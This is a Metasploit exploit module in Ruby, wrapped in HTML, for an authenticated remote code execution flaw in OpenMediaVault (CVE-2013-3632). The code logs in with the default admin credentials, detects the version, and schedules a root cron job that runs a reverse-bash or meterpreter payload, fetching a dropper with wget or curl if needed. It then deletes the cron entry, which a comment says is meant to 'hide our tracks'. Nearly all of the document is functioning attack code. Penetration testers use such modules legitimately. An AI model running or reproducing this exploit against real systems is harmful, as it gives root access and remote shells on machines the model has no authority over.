<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::CmdStager<br /> include Msf::Exploit::Deprecated<br /><br /> moved_from 'exploit/multi/http/openmediavault_cmd_exec'<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'OpenMediaVault rpc.php Authenticated Cron Remote Code Execution',<br /> 'Description' => %q{<br /> OpenMediaVault allows an authenticated user to create cron jobs as root on the system.<br /> An attacker can abuse this by sending a POST request via rpc.php to schedule and execute<br /> a cron entry that runs arbitrary commands as root on the system.<br /> All OpenMediaVault versions including the latest release 7.4.2-2 are vulnerable.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Msf module contributor<br /> 'Brandon Perry <bperry.volatile[at]gmail.com>' # Original discovery and first msf module<br /> ],<br /> 'References' => [<br /> ['CVE', '2013-3632'],<br /> ['PACKETSTORM', '178526'],<br /> ['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats'],<br /> ['URL', 'https://attackerkb.com/topics/zl1kmXbAce/cve-2013-3632']<br /> ],<br /> 'DisclosureDate' => '2013-10-30',<br /> 'Platform' => ['unix', 'linux'],<br /> 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],<br /> 'Privileged' => true,<br /> 'Targets' => [<br /> [<br /> 'Unix Command',<br /> {<br /> 'Platform' => ['unix', 'linux'],<br /> 'Arch' => ARCH_CMD,<br /> 'Type' => :unix_cmd,<br /> 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }<br /> }<br /> ],<br /> [<br /> 'Linux Dropper',<br /> {<br /> 'Platform' => ['linux'],<br /> 'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],<br /> 'Type' => :linux_dropper,<br /> 'CmdStagerFlavor' => ['wget', 'curl'],<br /> 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }<br /> }<br /> ]<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'DefaultOptions' => {<br /> 'WfsDelay' => 65 # wait at least one minute for session to allow cron to execute the payload<br /> },<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]<br /> }<br /> )<br /> )<br /> register_options(<br /> [<br /> OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault web application', '/']),<br /> OptString.new('USERNAME', [true, 'The OpenMediaVault username to authenticate with', 'admin']),<br /> OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault']),<br /> OptBool.new('PERSISTENT', [true, 'Keep the payload persistent in Cron. Default value is false, where the payload is removed', false])<br /> ]<br /> )<br /> end<br /><br /> def user<br /> datastore['USERNAME']<br /> end<br /><br /> def pass<br /> datastore['PASSWORD']<br /> end<br /><br /> def rpc_success?(res)<br /> res&.code == 200 && res.body.include?('"error":null')<br /> end<br /><br /> def login(user, pass)<br /> print_status("#{peer} - Authenticating with OpenMediaVault using credentials #{user}:#{pass}")<br /> # try the login options for all OpenMediaVault versions<br /> res = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, 'rpc.php'),<br /> 'method' => 'POST',<br /> 'keep_cookies' => true,<br /> 'ctype' => 'application/json',<br /> 'data' => {<br /> service: 'Session',<br /> method: 'login',<br /> params: {<br /> username: user,<br /> password: pass<br /> },<br /> options: nil<br /> }.to_json<br /> })<br /> unless res&.code == 200 && res.body.include?('"authenticated":true')<br /> res = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, 'rpc.php'),<br /> 'method' => 'POST',<br /> 'keep_cookies' => true,<br /> 'ctype' => 'application/json',<br /> 'data' => {<br /> service: 'Authentication',<br /> method: 'login',<br /> params: {<br /> username: user,<br /> password: pass<br /> }<br /> }.to_json<br /> })<br /> end<br /> unless res&.code == 200 && res.body.include?('"authenticated":true')<br /> res = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, 'rpc.php'),<br /> 'method' => 'POST',<br /> 'keep_cookies' => true,<br /> 'ctype' => 'application/json',<br /> 'data' => {<br /> service: 'Authentication',<br /> method: 'login',<br /> params: [<br /> {<br /> username: user,<br /> password: pass<br /> }<br /> ]<br /> }.to_json<br /> })<br /> return res&.code == 200 && res.body.include?('"authenticated":true')<br /> end<br /> true<br /> end<br /><br /> def check_target<br /> print_status('Trying to detect if target is running a vulnerable version of OpenMediaVault.')<br /> res = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, 'rpc.php'),<br /> 'method' => 'POST',<br /> 'keep_cookies' => true,<br /> 'ctype' => 'application/json',<br /> 'data' => {<br /> service: 'System',<br /> method: 'getInformation',<br /> params: nil<br /> }.to_json<br /> })<br /> return nil unless rpc_success?(res)<br /><br /> res<br /> end<br /><br /> def check_version(res)<br /> # parse json response and get the version<br /> res_json = res.get_json_document<br /> unless res_json.blank?<br /> # OpenMediaVault v0.3 - v0.5 and up to v4 have different json formats where index 1 has the version information<br /> version = res_json.dig('response', 1, 'value')<br /> version = res_json.dig('response', 'version') if version.nil?<br /> version = res_json.dig('response', 'data', 1, 'value') if version.nil?<br /> return Rex::Version.new(version.split('(')[0].gsub(/[[:space:]]/, '')) unless version.nil? || version.split('(')[0].nil?<br /> end<br /> nil<br /> end<br /><br /> def apply_config_changes<br /> # Apply OpenMediaVault configuration changes<br /> send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, 'rpc.php'),<br /> 'method' => 'POST',<br /> 'ctype' => 'application/json',<br /> 'keep_cookies' => true,<br /> 'data' => {<br /> service: 'Config',<br /> method: 'applyChangesBg',<br /> params: {<br /> modules: [],<br /> force: false<br /> },<br /> options: nil<br /> }.to_json<br /> })<br /> end<br /><br /> def execute_command(cmd, _opts = {})<br /> # OpenMediaFault current release - v6.0.15-1 uses an array definition ['*']<br /> # OpenMediaVault v3.0.16 - v6.0.14-1 uses a string definition '*'<br /> # OpenMediaVault v1.0.22 - v3.0.15 uses a string definition '*' and uuid setting 'undefined'<br /> # OpenMediaVault v0.2.6.4 - v1.0.31 uses a string definition '*' and uuid setting 'undefined' and no execution parameter<br /> # OpenMediaVault < v0.2.6.4 uses a string definition '*' and uuid setting 'undefined', no execution parameter and no everyN parameters<br /> schedule = @version_number >= Rex::Version.new('6.0.15-1') ? ['*'] : '*'<br /> uuid = @version_number <= Rex::Version.new('3.0.15') ? 'undefined' : 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4'<br /><br /> if @version_number > Rex::Version.new('1.0.32')<br /> post_data = {<br /> service: 'Cron',<br /> method: 'set',<br /> params: {<br /> uuid: uuid,<br /> enable: true,<br /> execution: 'exactly',<br /> minute: schedule,<br /> everynminute: false,<br /> hour: schedule,<br /> everynhour: false,<br /> dayofmonth: schedule,<br /> everyndayofmonth: false,<br /> month: schedule,<br /> dayofweek: schedule,<br /> username: 'root',<br /> command: cmd.to_s, # payload<br /> sendemail: false,<br /> comment: '',<br /> type: 'userdefined'<br /> },<br /> options: nil<br /> }.to_json<br /> elsif @version_number >= Rex::Version.new('0.2.6.4')<br /> post_data = {<br /> service: 'Cron',<br /> method: 'set',<br /> params: {<br /> uuid: uuid,<br /> enable: true,<br /> minute: schedule,<br /> everynminute: false,<br /> hour: schedule,<br /> everynhour: false,<br /> dayofmonth: schedule,<br /> everyndayofmonth: false,<br /> month: schedule,<br /> dayofweek: schedule,<br /> username: 'root',<br /> command: cmd.to_s, # payload<br /> sendemail: false,<br /> comment: '',<br /> type: 'userdefined'<br /> }<br /> }.to_json<br /> else<br /> post_data = {<br /> service: 'Cron',<br /> method: 'set',<br /> params: [<br /> {<br /> uuid: uuid,<br /> minute: schedule,<br /> hour: schedule,<br /> dayofmonth: schedule,<br /> month: schedule,<br /> dayofweek: schedule,<br /> username: 'root',<br /> command: cmd.to_s, # payload<br /> comment: '',<br /> type: 'userdefined'<br /> }<br /> ]<br /> }.to_json<br /> end<br /><br /> res = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, 'rpc.php'),<br /> 'method' => 'POST',<br /> 'ctype' => 'application/json',<br /> 'keep_cookies' => true,<br /> 'data' => post_data<br /> })<br /> fail_with(Failure::Unknown, 'Cannot access cron services to schedule payload execution.') unless rpc_success?(res)<br /><br /> # parse json response and get the uuid of the cron entry<br /> # we need this later to clean up and hide our tracks<br /> res_json = res.get_json_document<br /> @cron_uuid = res_json.dig('response', 'uuid') || ''<br /><br /> # In early versions up to 0.4.x cron uuid does not get returned so try an extra query to get it<br /> if @cron_uuid.blank?<br /> if @version_number >= Rex::Version.new('0.2.6.4')<br /> method = 'getList'<br /> else<br /> method = 'getListByType'<br /> end<br /> post_data = {<br /> service: 'Cron',<br /> method: method,<br /> params: {<br /> start: 0,<br /> limit: -1,<br /> sortfield: nil,<br /> sortdir: nil,<br /> type: ['userdefined']<br /> }<br /> }.to_json<br /><br /> res = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, 'rpc.php'),<br /> 'method' => 'POST',<br /> 'ctype' => 'application/json',<br /> 'keep_cookies' => true,<br /> 'data' => post_data<br /> })<br /> res_json = res.get_json_document<br /> # get total list of entries and pick the last one<br /> index = res_json.dig('response', 'total')<br /> @cron_uuid = res_json.dig('response', 'data', index - 1, 'uuid') || ''<br /> end<br /><br /> # Apply and update cron configuration to trigger payload execution (1 minute)<br /> # In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply<br /> apply_config_changes<br /> print_status('Cron payload execution triggered. Wait at least 1 minute for the session to be established.')<br /> end<br /><br /> def on_new_session(_session)<br /> # try to cleanup cron entry in OpenMediaVault unless PERSISTENT option is true<br /> unless datastore['PERSISTENT']<br /> res = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, 'rpc.php'),<br /> 'method' => 'POST',<br /> 'ctype' => 'application/json',<br /> 'keep_cookies' => true,<br /> 'data' => {<br /> service: 'Cron',<br /> method: 'delete',<br /> params: {<br /> uuid: @cron_uuid.to_s<br /> }<br /> # options: nil<br /> }.to_json<br /> })<br /> if rpc_success?(res)<br /> # Apply changes and update cron configuration to remove the payload entry<br /> # In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply<br /> apply_config_changes<br /> print_good('Cron payload entry successfully removed.')<br /> else<br /> print_warning('Cannot access the cron services to remove the payload entry. If required, remove the entry manually.')<br /> end<br /> end<br /> super<br /> end<br /><br /> def check<br /> @logged_in = login(user, pass)<br /> return CheckCode::Unknown('Failed to authenticate at OpenMediaVault.') unless @logged_in<br /><br /> res = check_target<br /> return CheckCode::Unknown('Can not identify target as OpenMediaVault.') if res.nil?<br /><br /> @version_number = check_version(res)<br /> return CheckCode::Detected('Can not retrieve the version information.') if @version_number.nil?<br /> return CheckCode::Appears("Version #{@version_number}") if @version_number.between?(Rex::Version.new('0.1'), Rex::Version.new('7.4.2-2'))<br /><br /> CheckCode::Detected("Version #{@version_number}")<br /> end<br /><br /> def exploit<br /> unless @logged_in<br /> if login(user, pass)<br /> res = check_target<br /> fail_with(Failure::Unknown, 'Can not identify target as OpenMediaVault.') if res.nil?<br /> @version_number = check_version(res)<br /> if @version_number.nil?<br /> print_status('Can not retrieve version information. Continue anyway...')<br /> else<br /> print_status("Version #{@version_number} detected.")<br /> end<br /> else<br /> fail_with(Failure::NoAccess, 'Failed to authenticate at OpenMediaVault.')<br /> end<br /> end<br /><br /> print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")<br /> case target['Type']<br /> when :unix_cmd<br /> execute_command(payload.encoded)<br /> when :linux_dropper<br /> execute_cmdstager<br /> end<br /> end<br />end<br /></code></pre>